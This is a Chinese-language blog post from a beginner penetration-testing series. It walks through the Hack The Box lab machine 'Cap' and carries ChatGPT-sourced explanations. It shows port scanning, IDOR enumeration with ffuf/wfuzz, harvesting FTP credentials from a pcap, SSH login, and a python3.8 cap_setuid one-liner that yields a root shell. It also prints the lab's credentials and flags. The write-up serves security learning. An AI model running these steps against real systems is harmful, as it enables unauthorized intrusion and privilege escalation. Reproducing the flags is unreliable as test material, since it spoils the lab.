iT邦幫忙

2024 iThome 鐵人賽

DAY 25
0
自我挑戰組

從零開始:資安滲透初探系列 第 25

21: 資安滲透初探: HTB靶機入門: Cap

  • 分享至 

  • xImage
  •  

Cap是官方推薦的入門機,很多不懂的地方會由ChatGPT補充
https://app.hackthebox.com/machines/Cap

機器簡介:
Cap 是一台難度為「簡單」的 Linux 機器,運行一個 HTTP 服務器,該服務器執行包括網絡捕獲在內的管理功能。不當的控制導致不安全的直接對象引用(IDOR),使得用戶可以訪問到其他用戶的捕獲數據。捕獲數據中包含明文憑證,可用於獲得進入點。接著利用 Linux 的某項功能來提升權限到 root。

task 1: How many TCP ports are open?

```bash
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sV 10.10.10.245         
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-24 09:04 EDT
Nmap scan report for 10.10.10.245
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn
```

task 2: After running a "Security Snapshot", the browser is redirected to a path of the format /[something]/[id], where [id] represents the id number of the scan. What is the [something]?

image.png

task 3: Are you able to get to other users' scans?

→更改id會不會出現其他使用者的資訊

`http://10.10.10.245/data/0`

ffuf & wfuzz

  **ffuf** 和 **wfuzz** 是兩種用於進行 URL fuzzing 的工具,它們可以幫助你自動化測試不同的 URL 組合,從而發現可能存在的隱藏資源、參數或漏洞。在這個上下文中,這些工具可以幫助你枚舉或測試不同的 `id` 參數,以查看是否能夠訪問其他用戶的掃描結果。
    
    ### URL Fuzzing 的基本概念:
    
    URL Fuzzing 是一種測試技術,用來枚舉和探測 Web 應用程式的不同路徑或參數,看看它們是否可以訪問或者是否存在隱藏資源。
  

如何使用 ffuf 或 wfuzz 進行 Fuzzing:

使用 ffuf

    `ffuf` 是一個非常快速的 URL fuzzing 工具,使用它可以很方便地進行參數枚舉。
    
    假設你想要測試 `id` 參數的不同值,可以這樣使用 `ffuf`:
    
    ```bash
    ffuf -u <http://10.10.10.245/data/FUZZ> -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
    
    ```
    
    在這個命令中:
    
    - `u <http://10.10.10.245/data/FUZZ`:`FUZZ` 是一個佔位符,`ffuf` 將替換它為字典中的每個詞條。
    - `w /path/to/wordlist`:這是你用於枚舉的字典路徑。你可以使用包含數字的自訂字典,或者手動創建一個包含常見 `id` 的字典。
    

使用 wfuzz

    `wfuzz` 是另一個強大的工具,功能和 `ffuf` 類似,但提供了更多的靈活性和功能選項。
    
    使用 `wfuzz` 進行 `id` 參數 fuzzing:
    
    ```bash
    wfuzz -u <http://10.10.10.245/data/FUZZ> -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
    
    ```
    
    在這個命令中:
    
    - `u <http://10.10.10.245/data/FUZZ`:和 `ffuf` 一樣,`FUZZ` 是一個佔位符。
    - `w /path/to/wordlist`:指定用於枚舉的字典路徑。
    

實際操作步驟:

    1. **選擇一個字典**:你可以使用現成的字典,也可以自己創建一個簡單的字典,比如包含 `0-10` 的數字,用於測試不同的 `id`。
        - 例如,創建一個簡單的字典 `ids.txt`:
            
            ```
            0
            1
            2
            3
            ...
            
            ```
            
    2. **運行 fuzzing 工具**:使用 `ffuf` 或 `wfuzz` 對目標 URL 進行 fuzzing,看是否可以找到有效的 `id` 參數。
        - 運行後,工具將嘗試訪問這些 `id`,並列出成功返回的 URL。
    3. **分析結果**:如果工具返回了多個有效的 URL,說明這些 `id` 參數對應了不同的掃描結果,這樣你可以確認是否能夠訪問其他用戶的掃描。
    

回答問題:

    - 如果通過 fuzzing 工具發現了多個有效的 `id`,並且它們對應不同的掃描結果,那麼你可以回答「是的,你可以訪問其他用戶的掃描」。
    

task 4: What is the ID of the PCAP file that contains sensative data?

PCAP

PCAPPacket Capture 的縮寫,是一種用於捕獲和存儲網絡數據包的文件格式。PCAP 文件記錄了通過網絡傳輸的數據包的詳細信息,通常用於網絡分析、故障排除和安全審查。

### PCAP 的主要特點:
    
    1.捕獲網絡流量:
        - PCAP 文件包含了從網絡介面捕獲的所有數據包,記錄了這些數據包的完整內容,包括包頭和包體。
    2.常用工具:
        - `Wireshark`是最常用的用於查看和分析 PCAP 文件的工具。它提供了強大的過濾和分析功能,可以幫助用戶深入了解網絡流量。
        - 其他工具如 `tcpdump` 也可以用於捕獲和生成 PCAP 文件。
    3.文件內容:
        - PCAP 文件記錄了網絡通信的時間戳、源 IP 地址、目標 IP 地址、協議類型、數據長度以及數據內容等詳細信息。
    4.應用場景:
        - 網絡分析:用於分析網絡流量,診斷網絡性能問題或故障。
        - 安全審查:在安全研究中,用於檢查是否有可疑的流量、分析攻擊行為或尋找敏感信息。
        - 故障排除:在 IT 支持和網絡管理中,用於追蹤和解決網絡通信問題。
    

示例:

    假設你使用 Wireshark 打開一個 PCAP 文件,你可以查看其中包含的所有網絡數據包,應用過濾器(如 `http`、`ftp` 等)來篩選感興趣的流量,甚至可以重新構建會話來查看用戶在網絡上的操作。
    

小結:

    PCAP 是網絡流量捕獲的標準文件格式,廣泛應用於網絡分析和安全審查中。通過分析 PCAP 文件,網絡工程師和安全專家可以深入了解網絡通信的細節,找到問題的根源或識別潛在的安全威脅。
   
    

將`/data/1`跟`/data/0`的PCAP下載後用wireshark打開(預設就是wireshark)

`/data/0` 的ftp裡可以看到使用者的名稱與密碼

task 5: Which application layer protocol in the pcap file can the sensetive data be found in?

敏感數據在FTP發現

task 6: We've managed to collect nathan's FTP password. On what other service does this password work?

由nmap得知ssh是開的

```bash
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sV 10.10.10.245         
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-24 09:04 EDT
Nmap scan report for 10.10.10.245
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn
```

嘗試用得到的帳號(`nathan`)密碼(`Buck3tH4TF0RM3!`)連接ssh

```bash
┌──(kali㉿kali)-[~]
└─$ ssh nathan@10.10.10.245           
The authenticity of host '10.10.10.245 (10.10.10.245)' can't be established.
ED25519 key fingerprint is SHA256:UDhIJpylePItP3qjtVVU+GnSyAZSr+mZKHzRoKcmLUI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.245' (ED25519) to the list of known hosts.
nathan@10.10.10.245's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
```

連線成功

task 7: Submit the flag located in the nathan user's home directory.

(題目說在home directory但我是在`/home/nathan/`找到的)

```bash
nathan@cap:/home$ cd nathan/
nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt 
60584a97045942c7a72a9e0832c375a7
```

task 8: What is the full path to the binary on this machine has special capabilities that can be abused to obtain root privileges?

  1. 使用 getcap 列出所有具有特殊權限的二進制檔案:
    getcap 是一個用於列出具有特定能力(Capabilities)的二進制檔案的工具。使用以下命令列出所有具有特殊權限的二進制檔案:

    getcap -r / 2>/dev/null
    

    這個命令會遞歸掃描系統的所有目錄,並列出那些被授予特殊能力的二進制檔案。

  2. 識別具有可濫用的特殊權限的二進制檔案:
    觀察 getcap 輸出的結果,尋找具有 cap_setuidcap_net_bind_service 等特定能力的二進制檔案,這些能力可能允許進程以 root 身份執行操作。

    1. 要選擇合適的二進制檔案進行提權,你需要重點關注具有可能被濫用來獲得更高權限的能力(Capabilities)的二進制檔案。以下是如何選擇和確認的步驟:

    2. 理解 Capabilities 的作用:

      • cap_setuid:允許進程更改其用戶 ID。可以用來切換到 root 用戶(UID 0),這是非常有用的提權方式。
      • cap_net_bind_service:允許進程綁定到 1024 以下的低端口,這通常只有 root 用戶可以做。
      • cap_net_raw:允許使用原始套接字發送和接收數據包,通常用於網絡調試工具,但不直接有助於提權。
      • cap_net_admin:允許進行各種網絡管理操作,比如配置網絡接口、修改路由表等。
    3. 評估每個二進制檔案:

      • /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
        這個二進制檔案最有可能被用來提權。cap_setuid 可以讓進程將自己的 UID 切換為 root,因此這是最有潛力的選擇。

      • /usr/bin/ping/usr/bin/traceroute6.iputils/usr/bin/mtr-packet
        這些工具有 cap_net_raw,主要用於網絡調試,不太可能直接用於提權。

      • /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
        這個二進制檔案主要與網絡管理相關,也不太可能直接用於提權。

    4. 選擇最有可能的二進制檔案:
      /usr/bin/python3.8 是最有潛力用於提權的二進制檔案,因為它具有 cap_setuid 能力。

    5. 嘗試提權:
      既然 /usr/bin/python3.8 具有 cap_setuid 能力,你可以嘗試使用它來獲得 root 權限:

      /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
      

      如果成功,你將會獲得一個 root shell。

    nathan@cap:~$ getcap -r / 2>/dev/null
    /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
    /usr/bin/ping = cap_net_raw+ep
    /usr/bin/traceroute6.iputils = cap_net_raw+ep
    /usr/bin/mtr-packet = cap_net_raw+ep
    /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
    nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
    

task 9: Submit the flag located in root's home directory.

```
root@cap:/# cd /root
root@cap:/root# ls
root.txt  snap
root@cap:/root# cat root.txt 
d7c9af0b8800032837fc61889591e806
```

上一篇
20: 資安滲透初探: HTB靶機入門: Meow
下一篇
22: 資安滲透初探: HTB靶機入門: Jerry
系列文
從零開始:資安滲透初探27
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言